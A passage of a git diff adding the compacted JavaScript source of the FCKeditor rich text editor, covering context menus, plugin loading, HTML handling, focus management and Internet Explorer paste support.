+FCK.ContextMenu={};FCK.ContextMenu.Listeners=[];FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var A=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCKLang.Dir);A.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;A.OnItemClick=FCK_ContextMenu_OnItemClick;var B=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) B.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(A){switch (A){case 'Generic':return {AddItems:function(menu,tag,tagName){menu.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==-1);menu.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==-1);menu.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==-1);}};case 'Table':return {AddItems:function(menu,tag,tagName){var B=(tagName=='TABLE');var C=(!B&&FCKSelection.HasAncestorNode('TABLE'));if (C){menu.AddSeparator();var D=menu.AddItem('Cell',FCKLang.CellCM);D.AddItem('TableInsertCell',FCKLang.InsertCell,58);D.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);D.AddItem('TableMergeCells',FCKLang.MergeCells,60);D.AddItem('TableSplitCell',FCKLang.SplitCell,61);D.AddSeparator();D.AddItem('TableCellProp',FCKLang.CellProperties,57);menu.AddSeparator();D=menu.AddItem('Row',FCKLang.RowCM);D.AddItem('TableInsertRow',FCKLang.InsertRow,62);D.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);menu.AddSeparator();D=menu.AddItem('Column',FCKLang.ColumnCM);D.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);D.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (B||C){menu.AddSeparator();menu.AddItem('TableDelete',FCKLang.TableDelete);menu.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(menu,tag,tagName){var E=(tagName=='A'||FCKSelection.HasAncestorNode('A'));if (E||FCK.GetNamedCommandState('Unlink')!=-1){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0&&F.href.length==0);if (G) return;menu.AddSeparator();if (E) menu.AddItem('Link',FCKLang.EditLink,34);menu.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&!tag.getAttribute('_fckfakelement')){menu.AddSeparator();menu.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(menu,tag,tagName){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0);if (G||(tagName=='IMG'&&tag.getAttribute('_fckanchor'))){menu.AddSeparator();menu.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&tag.getAttribute('_fckflash')){menu.AddSeparator();menu.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('FORM')){menu.AddSeparator();menu.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='checkbox'){menu.AddSeparator();menu.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='radio'){menu.AddSeparator();menu.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='text'||tag.type=='password')){menu.AddSeparator();menu.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='hidden'){menu.AddSeparator();menu.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='image'){menu.AddSeparator();menu.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='button'||tag.type=='submit'||tag.type=='reset')){menu.AddSeparator();menu.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(menu,tag,tagName){if (tagName=='SELECT'){menu.AddSeparator();menu.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(menu,tag,tagName){if (tagName=='TEXTAREA'){menu.AddSeparator();menu.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('UL')){menu.AddSeparator();menu.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('OL')){menu.AddSeparator();menu.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};};return null;};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent('OnSelectionChange');var A,sTagName;if ((A=FCKSelection.GetSelectedElement())) sTagName=A.tagName;var B=FCK.ContextMenu._InnerContextMenu;B.RemoveAllItems();var C=FCK.ContextMenu.Listeners;for (var i=0;i<C.length;i++) C[i].AddItems(B,A,sTagName);};function FCK_ContextMenu_OnItemClick(A){FCK.Focus();FCKCommands.GetCommand(A.Name).Execute();};
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=[];else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.IndexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins={};FCKPlugins.ItemsCount=0;FCKPlugins.Items={};FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
diff --git a/fckeditor/editor/js/fckeditorcode_ie.js b/fckeditor/editor/js/fckeditorcode_ie.js
new file mode 100755 (executable)
index 0000000..94f0ce5
--- /dev/null
@@ -0,0 +1,97 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ *
+ * This file has been compacted for better loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';var CTRL=1000;var SHIFT=2000;var ALT=4000;
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){var A=arguments;if (A.length==1&&A[0].pop) A=A[0];for (var i=0;i<A.length;i++){if (this==A[i]) return true;};return false;};String.prototype.IEquals=function(){var A=this.toUpperCase();var B=arguments;if (B.length==1&&B[0].pop) B=B[0];for (var i=0;i<B.length;i++){if (A==B[i].toUpperCase()) return true;};return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.IndexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.StartsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.EndsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.Remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.Trim=function(){return this.replace(/(^[ \t\n\r]*)|([ \t\n\r]*$)/g,'');};String.prototype.LTrim=function(){return this.replace(/^[ \t\n\r]*/g,'');};String.prototype.RTrim=function(){return this.replace(/[ \t\n\r]*$/g,'');};String.prototype.ReplaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var    FCKIECleanup=function(A){if (A._FCKCleanupObj) this.Items=A._FCKCleanupObj.Items;else{this.Items=[];A._FCKCleanupObj=this;FCKTools.AddEventListenerEx(A,'unload',FCKIECleanup_Cleanup);}};FCKIECleanup.prototype.AddItem=function(A,B){this.Items.push([A,B]);};function FCKIECleanup_Cleanup(){if (!this._FCKCleanupObj) return;var A=this._FCKCleanupObj.Items;while (A.length>0){var B=A.pop();if (B) B[1].call(B[0]);};this._FCKCleanupObj=null;if (CollectGarbage) CollectGarbage();}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera'),IsMac:s.Contains('macintosh')};(function(A){A.IsGeckoLike=(A.IsGecko||A.IsSafari||A.IsOpera);if (A.IsGecko){var B=s.match(/gecko\/(\d+)/)[1];A.IsGecko10=B<20051111;}else A.IsGecko10=false;})(FCKBrowserInfo);
+var FCKURLParams={};(function(){var A=document.location.search.substr(1).split('&');for (var i=0;i<A.length;i++){var B=A[i].split('=');var C=decodeURIComponent(B[0]);var D=decodeURIComponent(B[1]);FCKURLParams[C]=D;}})();
+var FCKEvents=function(A){this.Owner=A;this._RegisteredEvents={};};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this._RegisteredEvents[A])) this._RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this._RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;};
+var FCK={Name:FCKURLParams['InstanceName'],Status:0,EditMode:0,Toolbar:null,HasFocus:false,GetLinkedFieldValue:function(){return this.LinkedField.value;},GetParentForm:function(){return this.LinkedField.form;},StartupValue:'',IsDirty:function(){return (this.StartupValue!=this.EditorDocument.body.innerHTML);},ResetIsDirty:function(){if (this.EditorDocument.body) this.StartupValue=this.EditorDocument.body.innerHTML;},StartEditor:function(){this.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';var A=FCK.KeystrokeHandler=new FCKKeystrokeHandler();A.OnKeystroke=_FCK_KeystrokeHandler_OnKeystroke;A.SetKeystrokes(FCKConfig.Keystrokes);if (FCKBrowserInfo.IsIE7){if ((CTRL+86/*V*/) in A.Keystrokes) A.SetKeystrokes([CTRL+86,true]);if ((SHIFT+45/*INS*/) in A.Keystrokes) A.SetKeystrokes([SHIFT+45,true]);};this.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.EditingArea.FFSpellChecker=false;this.SetHTML(this.GetLinkedFieldValue());},Focus:function(){FCK.EditingArea.Focus();},SetStatus:function(A){this.Status=A;if (A==1){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);},FixBody:function(){var A=FCKConfig.EnterMode;if (A!='p'&&A!='div') return;var B=this.EditorDocument;if (!B) return;var C=B.body;if (!C) return;FCKDomTools.TrimNode(C);var D=C.firstChild;var E;while (D){var F=false;switch (D.nodeType){case 1:if (!FCKListsLib.BlockElements[D.nodeName.toLowerCase()]) F=true;break;case 3:if (E||D.nodeValue.Trim().length>0) F=true;};if (F){var G=D.parentNode;if (!E) E=G.insertBefore(B.createElement(A),D);E.appendChild(G.removeChild(D));D=E.nextSibling;}else{if (E){FCKDomTools.TrimNode(E);E=null;};D=D.nextSibling;}};if (E) FCKDomTools.TrimNode(E);},GetXHTML:function(A){if (FCK.EditMode==1) return FCK.EditingArea.Textarea.value;this.FixBody();var B;var C=FCK.EditorDocument;if (!C) return null;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);},UpdateLinkedField:function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');},RegisteredDoubleClickHandlers:{},OnDoubleClick:function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);},RegisterDoubleClickHandler:function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;},OnAfterSetHTML:function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');},ProtectUrls:function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;},ProtectEvents:function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);},ProtectEventsRestore:function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);},ProtectTags:function(A){var B='META';if (FCKConfig.ProtectedTags.length>0) B+='|'+FCKConfig.ProtectedTags;if (FCKBrowserInfo.IsIE) B+='|ABBR';var C=new RegExp('<('+B+')([ \>])','gi');A=A.replace(C,'<FCK:$1$2');C=new RegExp('<\/('+B+')>','gi');A=A.replace(C,'<\/FCK:$1>');return A;},SetHTML:function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==0){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);A=FCK.ProtectTags(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+_FCK_GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;var C='<body';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) C+=' id="'+FCKConfig.BodyId+'"';if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) C+=' class="'+FCKConfig.BodyClass+'"';B+='</head>'+C+'>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=_FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{FCK.EditorWindow=null;FCK.EditorDocument=null;this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;FCK.EnterKeyHandler=null;FCK.KeystrokeHandler.AttachToElement(this.EditingArea.Textarea);this.EditingArea.Textarea.focus();FCK.Events.FireEvent('OnAfterSetHTML');};if (FCKBrowserInfo.IsGecko) window.onresize();},HasFocus:false,RedirectNamedCommands:{},ExecuteNamedCommand:function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();},GetNamedCommandState:function(A){try{if (!FCK.EditorDocument.queryCommandEnabled(A)) return -1;else return FCK.EditorDocument.queryCommandState(A)?1:0;}catch (e){return 0;}},GetNamedCommandValue:function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==-1) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';},PasteFromWord:function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');},Preview:function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"><head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+_FCK_GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();},SwitchEditMode:function(A){var B=(FCK.EditMode==0);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);if (C==null) return false;}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?1:0;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);return true;},CreateElement:function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);},InsertElementAndGetIt:function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if (A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;}};FCK.Events=new FCKEvents(FCK);FCK.GetHTML=FCK.GetXHTML;function _FCK_ProtectEvents_ReplaceTags(A){return A.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(A,B){return ' '+B+'_fckprotectedatt="'+A.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};function _FCK_ProtectEvents_RestoreEvents(A,B){return B.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};function _FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();if (!FCKConfig.DisableEnterKeyHandler) FCK.EnterKeyHandler=new FCKEnterKey(FCK.EditorWindow,FCKConfig.EnterMode,FCKConfig.ShiftEnterMode);FCK.KeystrokeHandler.AttachToElement(FCK.EditorDocument);FCK.OnAfterSetHTML();if (FCK.Status!=0) return;FCK.ResetIsDirty();FCK.SetStatus(1);};function _FCK_GetEditorAreaStyleTags(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};function _FCK_KeystrokeHandler_OnKeystroke(A,B){if (FCK.Status!=2) return false;if (FCK.EditMode==0){if (B=='Paste') return!FCK.Events.FireEvent('OnPaste');}else{if (B.Equals('Paste','Undo','Redo','SelectAll')) return false;};var C=FCK.Commands.GetCommand(B);return (C.Execute.apply(C,FCKTools.ArgumentsToArray(arguments,2))!==false);};(function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var i=0;while (B||i==0){if (B&&B.tagName.toLowerCase().Equals('input','textarea')){FCK.LinkedField=B;break;};B=A.getElementsByName(FCK.Name)[i++];}})();var FCKTempBin={Elements:[],AddElement:function(A){var B=this.Elements.length;this.Elements[B]=A;return B;},RemoveElement:function(A){var e=this.Elements[A];this.Elements[A]=null;return e;},Reset:function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}};var FCKFocusManager=FCK.FocusManager={IsLocked:false,AddWindow:function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);},RemoveWindow:function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);},Lock:function(){this.IsLocked=true;},Unlock:function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;},_ResetTimer:function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCK.Focus();FCKFocusManager_Win_OnFocus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}};
+FCK.Description="FCKeditor for Internet Explorer 5.5+";FCK._GetBehaviorsStyle=function(){if (!FCK._BehaviorsStyle){var A=FCKConfig.FullBasePath;var B='';var C;C='<style type="text/css" _fcktemp="true">INPUT { behavior: url('+A+'css/behaviors/hiddenfield.htc) ; }';if (FCKConfig.ShowBorders) B='url('+A+'css/behaviors/showtableborders.htc)';C+='INPUT,TEXTAREA,SELECT,.FCK__Anchor,.FCK__PageBreak';if (FCKConfig.DisableObjectResizing){C+=',IMG';B+=' url('+A+'css/behaviors/disablehandles.htc)';};C+=' { behavior: url('+A+'css/behaviors/disablehandles.htc) ; }';if (B.length>0) C+='TABLE { behavior: '+B+' ; }';C+='</style>';FCK._BehaviorsStyle=C;};return FCK._BehaviorsStyle;};function Doc_OnMouseUp(){if (FCK.EditorWindow.event.srcElement.tagName=='HTML'){FCK.Focus();FCK.EditorWindow.event.cancelBubble=true;FCK.EditorWindow.event.returnValue=false;}};function Doc_OnPaste(){return (FCK.Status==2&&FCK.Events.FireEvent("OnPaste"));};function Doc_OnKeyDown(){if (FCK.EditorWindow){var e=FCK.EditorWindow.event;if (!(e.keyCode>=16&&e.keyCode<=18)) Doc_OnKeyDownUndo();};return true;};function Doc_OnKeyDownUndo(){if (!FCKUndo.Typing){FCKUndo.SaveUndoStep();FCKUndo.Typing=true;FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.TypesCount++;if (FCKUndo.TypesCount>FCKUndo.MaxTypes){FCKUndo.TypesCount=0;FCKUndo.SaveUndoStep();}};function Doc_OnDblClick(){FCK.OnDoubleClick(FCK.EditorWindow.event.srcElement);FCK.EditorWindow.event.cancelBubble=true;};function Doc_OnSelectionChange(){FCK.Events.FireEvent("OnSelectionChange");};FCK.InitializeBehaviors=function(A){this.EditorDocument.attachEvent('onmouseup',Doc_OnMouseUp);this.EditorDocument.body.attachEvent('onpaste',Doc_OnPaste);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument.body);if (FCKConfig.TabSpaces>0){window.FCKTabHTML='';for (i=0;i<FCKConfig.TabSpaces;i++) window.FCKTabHTML+="&nbsp;";};this.EditorDocument.attachEvent("onkeydown",Doc_OnKeyDown);this.EditorDocument.attachEvent("ondblclick",Doc_OnDblClick);this.EditorDocument.attachEvent("onselectionchange",Doc_OnSelectionChange);};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);FCK.EditorWindow.focus();FCKUndo.SaveUndoStep();var B=FCK.EditorDocument.selection;if (B.type.toLowerCase()=='control') B.clear();B.createRange().pasteHTML(A);FCKDocumentProcessor.Process(FCK.EditorDocument);};FCK.SetInnerHtml=function(A){var B=FCK.EditorDocument;B.body.innerHTML='<div id="__fakeFCKRemove__">&nbsp;</div>'+A;B.getElementById('__fakeFCKRemove__').removeNode(true);};function FCK_PreloadImages(){var A=new FCKImagePreloader();A.AddImages(FCKConfig.PreloadImages);A.AddImages(FCKConfig.SkinPath+'fck_strip.gif');A.OnComplete=LoadToolbarSetup;A.Start();};function Document_OnContextMenu(){return (event.srcElement._FCKShowContextMenu==true);};document.oncontextmenu=Document_OnContextMenu;function FCK_Cleanup(){this.EditorWindow=null;this.EditorDocument=null;};FCK.Paste=function(){if (FCK._PasteIsRunning) return true;if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return false;};var A=FCK.GetClipboardHTML();if (FCKConfig.AutoDetectPasteFromWord&&A.length>0){var B=/<\w[^>]*(( class="?MsoNormal"?)|(="mso-))/gi;if (B.test(A)){if (confirm(FCKLang.PasteWordConfirm)){FCK.PasteFromWord();return false;}}};FCK._PasteIsRunning=true;FCK.ExecuteNamedCommand('Paste');delete FCK._PasteIsRunning;return false;};FCK.PasteAsPlainText=function(){var A=clipboardData.getData("Text");if (A&&A.length>0){A=FCKTools.HTMLEncode(A).replace(/\n/g,'<BR>');this.InsertHtml(A);}};FCK.InsertElement=function(A){FCK.InsertHtml(A.outerHTML);};FCK.GetClipboardHTML=function(){var A=document.getElementById('___FCKHiddenDiv');if (!A){A=document.createElement('DIV');A.id='___FCKHiddenDiv';var B=A.style;B.position='absolute';B.visibility=B.overflow='hidden';B.width=B.height=1;document.body.appendChild(A);};A.innerHTML='';var C=document.body.createTextRange();C.moveToElementText(A);C.execCommand('Paste');var D=A.innerHTML;A.innerHTML='';return 